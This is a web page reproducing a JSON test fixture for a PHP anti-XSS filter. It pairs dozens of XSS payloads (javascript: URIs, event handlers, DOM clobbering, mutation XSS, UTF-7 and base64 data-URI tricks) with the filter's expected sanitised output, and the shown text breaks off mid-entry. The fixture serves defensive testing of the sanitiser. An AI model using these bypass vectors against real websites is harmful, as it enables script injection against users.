PHP Classes
elePHPant
Icontem

File: tests/fixtures/expect.json

Recommend this page to a friend!
  Classes of Lars Moelleken  >  PHP Anti XSS Filter  >  tests/fixtures/expect.json  >  Download  
File: tests/fixtures/expect.json
Role: Auxiliary data
Content type: text/plain
Description: Auxiliary data
Class: PHP Anti XSS Filter
Remove tags from HTML that may cause XSS attacks
Author: By
Last change: [+]: fix replacing of false-positive xss words e.g. "<script@gmail.com>" (issue #44)
Date: 3 months ago
Size: 61,929 bytes
 

 

Contents

Class file image Download
[
  {
    "title": "Don't remove binary attributes if considered safe (see #168)",
    "payload": "<input type=checkbox checked><input type=checkbox onclick>",
    "expected": "&lt;input type=checkbox checked&gt;&lt;input type=checkbox >"
  },
  {
    "title": "Avoid over-zealous stripping of SVG filter elements (see #144)",
    "payload": "<svg><defs><filter id=\"f1\"><feGaussianBlur in=\"SourceGraphic\" stdDeviation=\"15\" /></filter></defs><rect width=\"90\" height=\"90\" stroke=\"green\" stroke-width=\"3\" fill=\"yellow\" filter=\"url(#f1)\" /></svg>",
    "expected": "&lt;svg&gt;&lt;defs><filter id=\"f1\"><feGaussianBlur in=\"SourceGraphic\" stdDeviation=\"15\" /></filter></defs><rect width=\"90\" height=\"90\" stroke=\"green\" stroke-width=\"3\" fill=\"yellow\" filter=\"url(#f1)\" />&lt;/svg&gt;"
  },
  {
    "title": "Bypass from @filedescriptor when template scrubbing is activated",
    "payload": "<a href=\"}}javascript:alert(1)\"></a>",
    "expected": "<a href=\"\"></a>"
  },
  {
    "title": "safe usage of URI-like attribute values (see #135)",
    "payload": "<b href=\"javascript:alert(1)\" title=\"javascript:alert(2)\"></b>",
    "expected": "<b href=\"alert&#40;1&#41;\" title=\"alert&#40;2&#41;\"></b>"
  },
  {
    "title": "src Attributes for IMG, AUDIO, VIDEO and SOURCE (see #131)",
    "payload": "<img src=\"data:,123\"><audio src=\"data:,456\"></audio><video src=\"data:,789\"></video><source src=\"data:,012\"><div src=\"data:,345\">",
    "expected": "<img src=\"\">&lt;audio src=\"\"&gt;&lt;/audio>&lt;video src=\"\"&gt;&lt;/video>&lt;source src=\"\"&gt;&lt;div src=\"data:,345\">"
  },
  {
    "title": "DOM Clobbering against document.createElement() (see #47)",
    "payload": "<img src=x name=createElement><img src=y id=createElement>",
    "expected": "< >< >"
  },
  {
    "title": "DOM Clobbering against an empty cookie",
    "payload": "<img src=x name=cookie>",
    "expected": "<img >"
  },
  {
    "title": "JavaScript URIs using Unicode LS/PS I",
    "payload": "123<a href='\u2028javascript:alert(1)'>I am a dolphin!</a>",
    "expected": "123<a href=\"\">I am a dolphin!</a>"
  },
  {
    "title": "JavaScript URIs using Unicode LS/PS II",
    "payload": "123<a href='\u2028javascript:alert(1)'>I am a dolphin too!</a>",
    "expected": "123<a href=\"\">I am a dolphin too!</a>"
  },
  {
    "title": "JavaScript URIs using Unicode Whitespace",
    "payload": "123<a href=' javascript:alert(1)'>CLICK</a><a href='&#xA0javascript:alert(1)'>CLICK</a><a href='&#x1680;javascript:alert(1)'>CLICK</a><a href='&#x180E;javascript:alert(1)'>CLICK</a><a href='&#x2000;javascript:alert(1)'>CLICK</a><a href='&#x2001;javascript:alert(1)'>CLICK</a><a href='&#x2002;javascript:alert(1)'>CLICK</a><a href='&#x2003;javascript:alert(1)'>CLICK</a><a href='&#x2004;javascript:alert(1)'>CLICK</a><a href='&#x2005;javascript:alert(1)'>CLICK</a><a href='&#x2006;javascript:alert(1)'>CLICK</a><a href='&#x2006;javascript:alert(1)'>CLICK</a><a href='&#x2007;javascript:alert(1)'>CLICK</a><a href='&#x2008;javascript:alert(1)'>CLICK</a><a href='&#x2009;javascript:alert(1)'>CLICK</a><a href='&#x200A;javascript:alert(1)'>CLICK</a><a href='&#x200B;javascript:alert(1)'>CLICK</a><a href='&#x205f;javascript:alert(1)'>CLICK</a><a href='&#x3000;javascript:alert(1)'>CLICK</a>",
    "expected": "123<a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a><a href=\"\">CLICK</a>"
  },
  {
    "title": "Image with data URI src",
    "payload": "<img src=data:image/jpeg,ab798ewqxbaudbuoibeqbla>",
    "expected": "<img >"
  },
  {
    "title": "Image with JavaScript URI src (DoS on Firefox)",
    "payload": "<img src='javascript:while(1){}'>",
    "expected": "<img src=\"\">"
  },
  {
    "title": "Link with data URI href",
    "payload": "<a href=data:,evilnastystuff>clickme</a>",
    "expected": "<a >clickme</a>"
  },
  {
    "title": "Simple numbers",
    "payload": "123456",
    "expected": "123456"
  },
  {
    "title": "DOM clobbering XSS by @irsdl using attributes",
    "payload": "<form onmouseover='alert(1)'><input name=\"attributes\"><input name=\"attributes\">",
    "expected": "&lt;form &gt;&lt;input name=\"attributes\">&lt;input name=\"attributes\"&gt;"
  },
  {
    "title": "DOM clobbering: getElementById",
    "payload": "<img src=x name=getElementById>",
    "expected": "<img >"
  },
  {
    "title": "DOM clobbering: location",
    "payload": "<a href=\"#some-code-here\" id=\"location\">invisible",
    "expected": "<a href=\"#some-code-here\" id=\"location\">invisible"
  },
  {
    "title": "onclick, onsubmit, onfocus; DOM clobbering: parentNode",
    "payload": "<div onclick=alert(0)><form onsubmit=alert(1)><input onfocus=alert(2) name=parentNode>123</form></div>",
    "expected": "<div >&lt;form &gt;&lt;input  name=parentNode>123&lt;/form&gt;&lt;/div>"
  },
  {
    "title": "onsubmit, onfocus; DOM clobbering: nodeName",
    "payload": "<form onsubmit=alert(1)><input onfocus=alert(2) name=nodeName>123</form>",
    "expected": "&lt;form &gt;&lt;input  name=nodeName>123&lt;/form&gt;"
  },
  {
    "title": "onsubmit, onfocus; DOM clobbering: nodeType",
    "payload": "<form onsubmit=alert(1)><input onfocus=alert(2) name=nodeType>123</form>",
    "expected": "&lt;form &gt;&lt;input  name=nodeType>123&lt;/form&gt;"
  },
  {
    "title": "onsubmit, onfocus; DOM clobbering: children",
    "payload": "<form onsubmit=alert(1)><input onfocus=alert(2) name=children>123</form>",
    "expected": "&lt;form &gt;&lt;input  name=children>123&lt;/form&gt;"
  },
  {
    "title": "onsubmit, onfocus; DOM clobbering: attributes",
    "payload": "<form onsubmit=alert(1)><input onfocus=alert(2) name=attributes>123</form>",
    "expected": "&lt;form &gt;&lt;input  name=attributes>123&lt;/form&gt;"
  },
  {
    "title": "onsubmit, onfocus; DOM clobbering: removeChild",
    "payload": "<form onsubmit=alert(1)><input onfocus=alert(2) name=removeChild>123</form>",
    "expected": "&lt;form &gt;&lt;input  name=removeChild>123&lt;/form&gt;"
  },
  {
    "title": "onsubmit, onfocus; DOM clobbering: removeAttributeNode",
    "payload": "<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>",
    "expected": "&lt;form &gt;&lt;input  name=removeAttributeNode>123&lt;/form&gt;"
  },
  {
    "title": "onsubmit, onfocus; DOM clobbering: setAttribute",
    "payload": "<form onsubmit=alert(1)><input onfocus=alert(2) name=setAttribute>123</form>",
    "expected": "&lt;form &gt;&lt;input  name=setAttribute>123&lt;/form&gt;"
  },
  {
    "title": "&gt;style&lt;",
    "payload": "<style>*{color: red}</style>",
    "expected": "&lt;style&gt;*{color: red}&lt;/style&gt;"
  },
  {
    "title": "HTML paragraph with text",
    "payload": "<p>hello</p>",
    "expected": "<p>hello</p>"
  },
  {
    "title": "mXSS Variation I",
    "payload": "<listing>&lt;img onerror=\"alert(1);//\" src=1&gt;<t t></listing>",
    "expected": "<listing>&lt;img =\"alert&#40;1&#41;;//\" src=1&gt;<t t></listing>"
  },
  {
    "title": "mXSS Variation II",
    "payload": "<img src=x id/=' onerror=alert(1)//'>",
    "expected": "<img >"
  },
  {
    "title": "Textarea and comments enabling img element",
    "payload": "<textarea>@shafigullin</textarea><!--</textarea><img src=x onerror=alert(1)>-->",
    "expected": "&lt;textarea&gt;@shafigullin&lt;/textarea&gt;&lt;!--&lt;/textarea&gt;&lt;img >--&"
  },
  {
    "title": "Img element inside noscript terminated inside comment",
    "payload": "<b><noscript><!-- </noscript><img src=xx: onerror=alert(1) --></noscript>",
    "expected": "<b><noscript>&lt;!-- </noscript><img >"
  },
  {
    "title": "Img element inside noscript terminated inside attribute",
    "payload": "<b><noscript><a alt=\"</noscript><img src=xx: onerror=alert(1)>\"></noscript>",
    "expected": "<b><noscript><a ><img >\"></>"
  },
  {
    "title": "Img element inside shadow DOM template",
    "payload": "<body><template><s><template><s><img src=x onerror=alert(1)>@shafigullin</s></template></s></template>",
    "expected": "&lt;body&gt;&lt;template><s><template><s><img >></></></>"
  },
  {
    "title": "Low-range-ASCII obfuscated JavaScript URI",
    "payload": "<a href=\"\u0001java\u0003script:alert(1)\">@shafigullin<a>",
    "expected": "<a href=\"\">@shafigullin<a>"
  },
  {
    "title": "Img inside style inside broken option element",
    "payload": "\u0001<option><style></option></select><b><img src=xx: onerror=alert(1)></style></option>",
    "expected": " <option>&lt;style&gt;&lt;/option>&lt;/select&gt;&lt;b><img ></></>"
  },
  {
    "title": "Iframe inside option element",
    "payload": "<option><iframe></select><b><script>alert(1)</script>",
    "expected": "<option>&lt;iframe&gt;&lt;/select><b>"
  },
  {
    "title": "Closing Iframe and option",
    "payload": "</iframe></option>",
    "expected": "&lt;/iframe&gt;&lt;/option>"
  },
  {
    "title": "Image after style to trick jQuery tag-completion",
    "payload": "<b><style><style/><img src=xx: onerror=alert(1)>",
    "expected": "<b>&lt;style&gt;&lt;style/><img >"
  },
  {
    "title": "Image after self-closing style to trick jQuery tag-completion",
    "payload": "<b><style><style////><img src=xx: onerror=alert(1)></style>",
    "expected": "<b>&lt;style&gt;&lt;style////><img ></>"
  },
  {
    "title": "DOM clobbering attack using name=body",
    "payload": "<image name=body><image name=adoptNode>@mmrupp<image name=firstElementChild><svg onload=alert(1)>",
    "expected": "<image name=body><image name=adoptNode>@mmrupp<image name=firstElementChild>&lt;svg &gt;"
  },
  {
    "title": "Special esacpes in protocol handler for XSS in Blink",
    "payload": "<a href=\"\u0001java\u0003script:alert(1)\">@shafigullin<a>",
    "expected": "<a href=\"\">@shafigullin<a>"
  },
  {
    "title": "DOM clobbering attack using activeElement",
    "payload": "<image name=activeElement><svg onload=alert(1)>",
    "expected": "<image name=activeElement>&lt;svg &gt;"
  },
  {
    "title": "DOM clobbering attack using name=body and injecting SVG + keygen",
    "payload": "<image name=body><img src=x><svg onload=alert(1); autofocus>, <keygen onfocus=alert(1); autofocus>",
    "expected": "<image name=body><img ><>, <>"
  },
  {
    "title": "Bypass using multiple unknown attributes",
    "payload": "<div onmouseout=\"javascript:alert(/superevr/)\" x=yscript: n>@superevr</div>",
    "expected": "<div  x=yscript: n>@superevr</div>"
  },
  {
    "title": "Bypass using event handlers and unknown attributes",
    "payload": "<button remove=me onmousedown=\"javascript:alert(1);\" onclick=\"javascript:alert(1)\" >@giutro",
    "expected": "&lt;button remove=me   &gt;@giutro"
  },
  {
    "title": "Bypass using DOM bugs when dealing with JS URIs in arbitrary attributes",
    "payload": "<a href=\"javascript:123\" onclick=\"alert(1)\">CLICK ME (bypass by @shafigullin)</a>",
    "expected": "<a href=\"123\">CLICK ME (bypass by @shafigullin)</a>"
  },
  {
    "title": "Bypass using DOM bugs when dealing with JS URIs in arbitrary attributes (II)",
    "payload": "<isindex x=\"javascript:\" onmouseover=\"alert(1)\" label=\"variation of bypass by @giutro\">",
    "expected": "&lt;isindex x=\"\"  label=\"variation of bypass by @giutro\"&gt;"
  },
  {
    "title": "Bypass using unknown attributes III",
    "payload": "<div wow=removeme onmouseover=alert(1)>text",
    "expected": "<div wow=removeme >text"
  },
  {
    "title": "Bypass using unknown attributes IV",
    "payload": "<input x=javascript: autofocus onfocus=alert(1)><svg id=1 onload=alert(1)></svg>",
    "expected": "&lt;input x= autofocus &gt;&lt;svg id=1 >&lt;/svg&gt;"
  },
  {
    "title": "Bypass using unknown attributes V",
    "payload": "<isindex src=\"javascript:\" onmouseover=\"alert(1)\" label=\"bypass by @giutro\" />",
    "expected": "&lt;isindex src=\"\"  label=\"bypass by @giutro\" /&gt;"
  },
  {
    "title": "Bypass using JS URI in href",
    "payload": "<a href=\"javascript:123\" onclick=\"alert(1)\">CLICK ME (bypass by @shafigullin)</a>",
    "expected": "<a href=\"123\">CLICK ME (bypass by @shafigullin)</a>"
  },
  {
    "title": "Javasctip with break",
    "payload": "<form action=\"javasc\nript:alert(1)\"><button>XXX</button></form>",
    "expected": "&lt;form action=\"alert&#40;1&#41;\"&gt;&lt;button>XXX&lt;/button&gt;&lt;/form>"
  },
  {
    "payload": "<div id=\"1\"><form id=\"test\"></form><button form=\"test\" formaction=\"javascript:alert(1)\">X</button>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"1\">&lt;form id=\"test\"&gt;&lt;/form>&lt;button  &gt;X&lt;/button&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"2\"><meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//[\"'`-->]]>]</div>",
    "expected": "<div id=\"2\">&lt;meta charset=\"x-imap4-modified-utf7\"&gt;&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"3\"><meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"3\">&lt;meta charset=\"x-imap4-modified-utf7\"&gt;&alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"4\">0?<script>Worker(\"#\").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//[\"'`-->]]>]</div>",
    "expected": "<div id=\"4\">0? :postMessage(importScripts(cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"5\"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"5\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"6\"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"6\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"7\"><input onfocus=alert(7) autofocus>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"7\">&lt;input  autofocus&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"8\"><input onblur=alert(8) autofocus><input autofocus>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"8\">&lt;input  autofocus&gt;&lt;input autofocus>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"9\"><a style=\"-o-link:'javascript:alert(9)';-o-link-source:current\">X</a>//[\"'`-->]]>]</div>\n\n<div id=\"10\"><video poster=javascript:alert(10)//></video>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"9\"><a >X</a>//[\"'`--&gt;]]>]</div>\n\n<div id=\"10\">< /></>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"11\"><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(11)\"></g></svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"11\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;&lt;g ></g>&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"12\"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"12\">&lt;body &gt;&lt;br><br><br><br><br><br>...<br><br><br><br>&lt;input autofocus&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"13\"><x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"13\"><x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"14\"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"14\">&lt;input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"15\"><script>({0:#0=alert/#0#/#0#(0)})</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"15\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"16\">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//[\"'`-->]]>]</div>",
    "expected": "<div id=\"16\">X<x   >//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"17\"><?xml-stylesheet href=\"javascript:alert(17)\"?><root/>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"17\">&lt;?xml-stylesheet href=\"alert&#40;17&#41;\"?&gt;<root/>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"18\"><script xmlns=\"http://www.w3.org/1999/xhtml\">alert(1)</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"18\">alert&#40;1&#41;]</div>"
  },
  {
    "payload": "<div id=\"19\"><meta charset=\"x-mac-farsi\">\u00BCscript \u00BEalert(19)//\u00BC/script \u00BE//[\"'`-->]]>]</div>",
    "expected": "<div id=\"19\">&lt;meta charset=\"x-mac-farsi\"&gt;alert&#40;19&#41;////[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"20\"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"20\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"21\"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"21\">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"22\"><input onblur=focus() autofocus><input>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"22\">&lt;input  autofocus&gt;&lt;input>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"23\"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"23\">&lt;form id=test &gt;&lt;input>&lt;/form&gt;&lt;button  >X&lt;/button&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"24\">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src=\"x\"onerror=alert(24)>`>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"24\">1<set/xmlns=`urn:schemas-microsoft-com:time`  attributename=`innerhtml` to=`<img/src=\"x\">`>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"25\"><script src=\"#\">{alert(25)}</script>;1//[\"'`-->]]>]</div>",
    "expected": "<div id=\"25\">{alert&#40;25&#41;}]</div>"
  },
  {
    "payload": "<div id=\"26\">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//[\"'`-->]]>]</div>",
    "expected": "<div id=\"26\">&lt;html&gt;&lt;body><div>top secret</div>&lt;/body&gt;&lt;/html>.toXMLString().match(/.*/m),alert&#40;RegExp.input&#41;;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"27\"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//[\"'`-->]]>]</div><div id=\"28\">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)  attributename=innerhtml values=<img/src=\".\"onerror=alert(28)>>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"27\">&lt;style&gt;p[foo=bar{}*{-o-link:'alert&#40;27&#41;'}{}*{-o-link-source:current}*{background:red}]{background:green};&lt;/style&gt;//[\"'`--&gt;]]>]</div><div id=\"28\">1<animate/xmlns=urn:schemas-microsoft-com:time   attributename=innerhtml values=<img/src=\".\">>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"29\"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//[\"'`-->]]>]</div>",
    "expected": "<div id=\"29\">&lt;link rel=stylesheet href=data:,*%7bx:alert&#40;29&#41;)%7d//[\"'`--&gt;]]&gt;]</div>"
  },
  {
    "payload": "<div id=\"30\"><style>@import \"data:,*%7bx:expression(alert(30))%7D\";</style>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"30\">&lt;style&gt;@import \"data:,*%7bx:alert&#40;30&#41;)%7D\";&lt;/style&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"31\"><frameset onload=alert(31)>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"31\">&lt;frameset &gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"32\"><table background=\"javascript:alert(32)\"></table>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"32\"><table background=\"alert&#40;32&#41;\"></table>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"33\"><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(33);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"33\"><a ><a  >XXX</a></a><a href=\"\">XXX</a>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"34\">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"34\">1<vmlframe xmlns=urn:schemas-microsoft-com:vml  src=test.vml#xss></vmlframe>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"35\">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"35\">1<a ><line xmlns=urn:schemas-microsoft-com:vml  href=alert&#40;35&#41; strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"36\"><a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(36)\">XXX</a>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"36\"><a  folder=\"alert&#40;36&#41;\">XXX</a>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"37\"><!--<img src=\"--><img src=x onerror=alert(37)//\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"37\">&lt;!--<img src=\"--&gt;img \">//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"38\"><comment><img src=\"</comment><img src=x onerror=alert(38)//\">//[\"'`-->]]>]</div><div id=\"39\"><!-- up to Opera 11.52, FF 3.6.28 -->",
    "expected": "<div id=\"38\"><comment><img ><>//[\"'`--&>]</>< id=\"39\">&lt;!-- up to Opera 11.52, FF 3.6.28 --&gt;"
  },
  {
    "payload": "<![><img src=\"]><img src=x onerror=alert(39)//\">",
    "expected": "<![><img ><>"
  },
  {
    "payload": "<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+  -->\n<svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(2)//\"></svg>//[\"'`-->]]>]</div>",
    "expected": "&lt;!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+  --&gt;\n&lt;svg&gt;&lt;![CDATA[><image ></>//[\"'`--&>]</>"
  },
  {
    "payload": "<div id=\"40\"><style><img src=\"</style><img src=x onerror=alert(40)//\">//[\"'`-->]]>]</div>",
    "expected": "<div id=\"40\">&lt;style&gt;&lt;img ><>//[\"'`--&>]</>"
  },
  {
    "payload": "<div id=\"41\"><li style=list-style:url() onerror=alert(41)></li>",
    "expected": "<div id=\"41\"><li  ></li>"
  },
  {
    "payload": "<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>//[\"'`-->]]>]</div>",
    "expected": "<div >);visibility:hidden =alert&#40;41&#41;></div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"42\"><head><base href=\"javascript://\"/></head><body><a href=\"/. /,alert(42)//#\">XXX</a></body>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"42\">&lt;head&gt;&lt;base href=\"//\"/>&lt;/head&gt;&lt;body><a href=\"\">XXX</a>&lt;/body&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"43\"><?xml version=\"1.0\" standalone=\"no\"?>",
    "expected": "<div id=\"43\">&lt;?xml version=\"1.0\" standalone=\"no\"?&gt;"
  },
  {
    "payload": "<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<style type=\"text/css\">\n@font-face {font-family: y; src: url(\"font.svg#x\") format(\"svg\");} body {font: 100px \"y\";}\n</style>\n</head>\n<body>Hello</body>\n</html>//[\"'`-->]]>]</div>",
    "expected": "&lt;html xmlns=\"http://www.w3.org/1999/xhtml\"&gt;\n&lt;head&gt;\n&lt;style type=\"text/css\"&gt;\n@font-face {font-family: y; src: url(\"font.svg#x\") format(\"svg\");} body {font: 100px \"y\";}\n&lt;/style&gt;\n&lt;/head&gt;\n&lt;body&gt;Hello&lt;/body&gt;\n&lt;/html&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"44\"><style>*[{}@import'test.css?]{color: green;}</style>X//[\"'`-->]]>]</div>",
    "expected": "<div id=\"44\">&lt;style&gt;*[{}@import'test.css?]{color: green;}&lt;/style&gt;X//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"45\"><div style=\"font-family:'foo[a];color:red;';\">XXX</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"45\"><div >XXX</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"46\"><div style=\"font-family:foo}color=red;\">XXX</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"46\"><div >XXX</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"47\"><svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(47)</script></svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"47\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;&lt;/svg>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"48\"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"48\">alert&#40;48&#41;]</div>"
  },
  {
    "payload": "<div id=\"49\"><OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(49)\"></OBJECT>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"49\">&lt;OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"&gt;&lt;PARAM NAME=\"DataURL\" VALUE=\"alert&#40;49&#41;\">&lt;/OBJECT&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"50\"><object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></object>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"50\">&lt;object data=\"PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"&gt;&lt;/object>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"51\"><embed src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></embed>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"51\">&lt;embed src=\"PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"&gt;&lt;/embed>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"52\"><x style=\"behavior:url(test.sct)\">//[\"'`-->]]>]</div><div id=\"53\"><xml id=\"xss\" src=\"test.htc\"></xml>",
    "expected": "<div id=\"52\"><x >//[\"'`--&gt;]]>]</div><div id=\"53\">&lt;xml id=\"xss\" src=\"test.htc\"&gt;&lt;/xml>"
  },
  {
